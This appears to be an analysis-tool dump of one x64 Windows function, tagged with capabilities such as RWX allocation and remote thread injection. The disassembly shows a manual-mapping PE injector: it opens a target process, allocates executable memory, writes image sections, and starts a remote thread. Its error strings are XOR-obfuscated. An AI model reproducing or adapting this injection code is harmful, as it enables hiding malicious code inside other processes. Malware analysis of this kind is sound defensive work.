Function at 0x7ff7b50b7230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x7ff7b50d0588]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov byte [rsp + 0x40], r8b
mov rbx, rdx
mov esi, ecx
test r8b, r8b
jne 0x7ff7b50b75f0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1c]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.7ff7b5099d00
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x80]
test dl, 6
je 0x7ff7b50b7384
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs r8, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x80], r8
movabs rax, 0x865d7451108f5963
mov qword [rbp + 0x88], rax
movabs rax, 0x7745f8148db3152e
mov qword [rbp + 0x90], rax
movabs rax, 0x57ba92e040c736ed
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
jmp 0x7ff7b50b74d9
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x70]
call qword [sym.imp.msvcp140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0xf8]
add rcx, qword [rbp + 0xf0]
cmp rcx, 0x1000
jge 0x7ff7b50b740e
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
movabs rax, 0xf181296aad6cc84a
mov qword [rbp + 0x80], rax
movabs rax, 0x93483d4d44cb546a
mov qword [rbp + 0x88], rax
movabs rax, 0x324cfd1bcbf5146b
mov qword [rbp + 0x90], rax
movabs rax, 0x57ba92e040cd64e8
mov qword [rbp + 0x98], rax
jmp 0x7ff7b50b7474
call fcn.7ff7b50c129c
mov rbx, rax
test rax, rax
jne 0x7ff7b50b7552
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
movabs r8, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x80], r8
movabs r8, 0x975f7451108f5963
mov qword [rbp + 0x88], r8
movabs rax, 0x5720947788fc1727
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rcx
movabs r14, 0x90f747038d31e511
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0x80]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
lea rcx, [rbp - 0x80]
call fcn.7ff7b50a56f0
test rax, rax
jne 0x7ff7b50b7506
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
xor r8d, r8d
lea edx, [r8 + 2]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff7b50c63b8]
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.7ff7b509bb60
lea rcx, [rbp - 0x78]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x20]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor al, al
jmp 0x7ff7b50b81c6
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov r8, qword [rbp + 0xf0]
add r8, qword [rbp + 0xf8]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.7ff7b50a56f0
test rax, rax
jne 0x7ff7b50b75ab
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff7b50c63b8]
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.7ff7b509bb60
lea rcx, [rbp - 0x78]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x20]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movzx edx, word [rbx]
mov eax, 0x5a4d
cmp dx, ax
je 0x7ff7b50b76d4
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs rax, 0xf181296aad6cc84a
mov qword [rbp + 0x80], rax
movabs rax, 0x935e3d5844cb546a
mov qword [rbp + 0x88], rax
movabs rax, 0x7752f1198af6136b
mov qword [rbp + 0x90], rax
movabs rax, 0x57ba98ce6ee336ed
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
xor al, al
jmp 0x7ff7b50b81c6
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
mov qword [rsp + 0x60], rdi
mov ecx, esi
call fcn.7ff7b50b81f0
cmp eax, 0xffffffff
jne 0x7ff7b50b781f
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs rdx, 0xc4cf699f788c1c05
mov qword [rbp + 0xd0], rdx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0xd8], rcx
movabs r8, 0xfc9e2665ad6cc84a
mov qword [rbp + 0x80], r8
movabs rax, 0x93557451108f5963
mov qword [rbp + 0x88], rax
movabs rax, 0x2445f71299e35b3f
mov qword [rbp + 0x90], rax
movabs rax, 0x23d3e79132ac4ebb
mov qword [rbp + 0x98], rax
movabs rax, 0xeae147fa0af96860
mov qword [rbp + 0xa0], rax
movabs rax, 0x6bb44ecaa67151c0
mov qword [rbp + 0xa8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
xor al, al
jmp 0x7ff7b50b81c6
test eax, eax
je 0x7ff7b50b78fa
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs rax, 0xf181296aad6cc84a
mov qword [rbp + 0x80], rax
movabs rax, 0x8343265f44cb546a
mov qword [rbp + 0x88], rax
movabs rax, 0x7745e6089ff60f22
mov qword [rbp + 0x90], rax
movabs rax, 0x57ba92ea6ee340f8
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
xor al, al
jmp 0x7ff7b50b81c6
mov eax, 0x8664
cmp word [rdi + 4], ax
je 0x7ff7b50b79dc
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs rax, 0xf181296aad6cc84a
mov qword [rbp + 0x80], rax
movabs rax, 0x8343265f44cb546a
mov qword [rbp + 0x88], rax
movabs rax, 0x7745e6089ff60f22
mov qword [rbp + 0x90], rax
movabs rax, 0x57ba92ea6ee340f9
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
xor al, al
jmp 0x7ff7b50b81c6
mov r8d, esi
xor edx, edx
mov ecx, 0x10000000
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff7b50b7b1d
call qword [sym.imp.kernel32.dll_GetLastError]
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xf0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xf8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x100], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0x108], rcx
movabs rdx, 0xc4cf699f788c1c05
mov qword [rbp + 0x110], rdx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x118], rcx
movabs r8, 0xf89b2645ad6cc84a
mov qword [rbp + 0x80], r8
movabs r8, 0x8450351e0bce1d67
mov qword [rbp + 0x88], r8
movabs r8, 0x3243fb0f9bb30922
mov qword [rbp + 0x90], r8
movabs r8, 0x5de2b7c07aa21dbb
mov qword [rbp + 0x98], r8
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0xa8], rcx
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
xor al, al
jmp 0x7ff7b50b81c6
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x7ff7b50b7ca7
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x7ff7b50b7ca7
call qword [sym.imp.kernel32.dll_GetLastError]
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xb0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xb8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0xc8], rcx
movabs rdx, 0xc4cf699f788c1c05
mov qword [rbp + 0xd0], rdx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0xd8], rcx
movabs r8, 0xf89b2645ad6cc84a
mov qword [rbp + 0x80], r8
movabs rdx, 0x9a5e351e0bce1d67
mov qword [rbp + 0x88], rdx
movabs rdx, 0x3a45f95d99f21824
mov qword [rbp + 0x90], rdx
movabs rdx, 0x2f8ab2da21a41ca7
mov qword [rbp + 0x98], rdx
movabs rdx, 0xc4cf699f78864420
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0xa8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
xor al, al
jmp 0x7ff7b50b81c6
mov qword [rbp + 0x90], 0
movabs r14, 0x90f747038d31e511
mov qword [rbp + 0xe0], r14
movabs r15, 0xf632543e64af3d06
mov qword [rbp + 0xe8], r15
movabs rax, 0xe2952e4fe9508a5d
mov qword [rsp + 0x50], rax
movabs rax, 0xf632543e25d64f67
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r15
movabs rax, 0xa2c42b66e343807a
mov qword [rbp + 0xe0], rax
movabs r13, 0xf632543e08c35928
mov qword [rbp + 0xe8], r13
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r15
movabs rax, 0xd1942871dd458056
mov qword [rbp + 0xe0], rax
movabs rax, 0xf632274d01dd5962
mov qword [rbp + 0xe8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r15
movabs rax, 0xa2c42b66e343807a
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r13
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
lea rdx, [rbp + 0xe0]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
movsxd rcx, dword [rbx + 0x3c]
movzx eax, word [rcx + rbx + 0x14]
xor r13d, r13d
cmp word [rdi + 6], r13w
je 0x7ff7b50b7e75
lea rdi, [rbx + 0x2c]
add rdi, rcx
add rdi, rax
nop dword [rax]
mov eax, dword [rdi - 4]
test eax, eax
je 0x7ff7b50b7e60
mov r9d, eax
mov r8d, dword [rdi]
add r8, rbx
mov edx, dword [rdi - 8]
add rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x7ff7b50b7ff2
inc r13d
add rdi, 0x28
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 6]
cmp r13d, eax
jne 0x7ff7b50b7e30
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rbx], xmm0
movsd xmm1, qword [rbp + 0x90]
movsd qword [rbx + 0x10], xmm1
xor r13d, r13d
mov qword [rsp + 0x20], r13
mov r9d, 0x1000
mov r8, rbx
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
cmp byte [rsp + 0x40], r13b
jne 0x7ff7b50b7eb8
mov rcx, rbx
call fcn.7ff7b50c1294
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x7ff7b50b8116
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x100], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0x108], rcx
movabs rdx, 0xc4cf699f788c1c05
mov qword [rbp + 0x110], rdx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0x118], rcx
movabs r8, 0xf89b2645ad6cc84a
mov qword [rbp + 0x80], r8
movabs rdx, 0x9a5e351e0bce1d67
mov qword [rbp + 0x88], rdx
movabs rdx, 0x3a45f95d99f21824
mov qword [rbp + 0x90], rdx
movabs rdx, 0x2f8ab2da21a41ca7
mov qword [rbp + 0x98], rdx
movabs rdx, 0xc4cf699f78864420
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0xa8], rcx
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xa0], xmm0
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.7ff7b50c05b0
jmp 0x7ff7b50b80fa
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r15
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x90], rcx
movabs rcx, 0x57ba92e040cd6ec8
mov qword [rbp + 0x98], rcx
movabs rdx, 0xc4cf699f788c1c05
mov qword [rbp + 0xa0], rdx
movabs rcx, 0x6bb44ecaa67151ca
mov qword [rbp + 0xa8], rcx
movabs r8, 0xfc9e2665ad6cc84a
mov qword [rbp + 0xb0], r8
movabs r8, 0x975f7451108f5963
mov qword [rbp + 0xb8], r8
movabs r8, 0x3849e01e8ee05b3b
mov qword [rbp + 0xc0], r8
movabs r8, 0x5dc2b79870ed54a6
mov qword [rbp + 0xc8], r8
mov qword [rbp + 0xd0], rdx
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xd0], xmm0
mov edx, eax
lea rcx, [rbp + 0xb0]
call fcn.7ff7b50c05b0
mov rcx, rbx
call fcn.7ff7b50c1294
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
xor al, al
jmp 0x7ff7b50b81c6
mov qword [rsp + 0x20], r13
mov r9d, 0x1000
lea r8, [0x7ff7b50be6c0]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
nop dword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x20], r13
lea r9d, [rax + 0x18]
lea r8, [rbp + 0x80]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x90]
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
je 0x7ff7b50b8160
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.7ff7b50c16f0
mov rbx, qword [rsp + 0x280]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret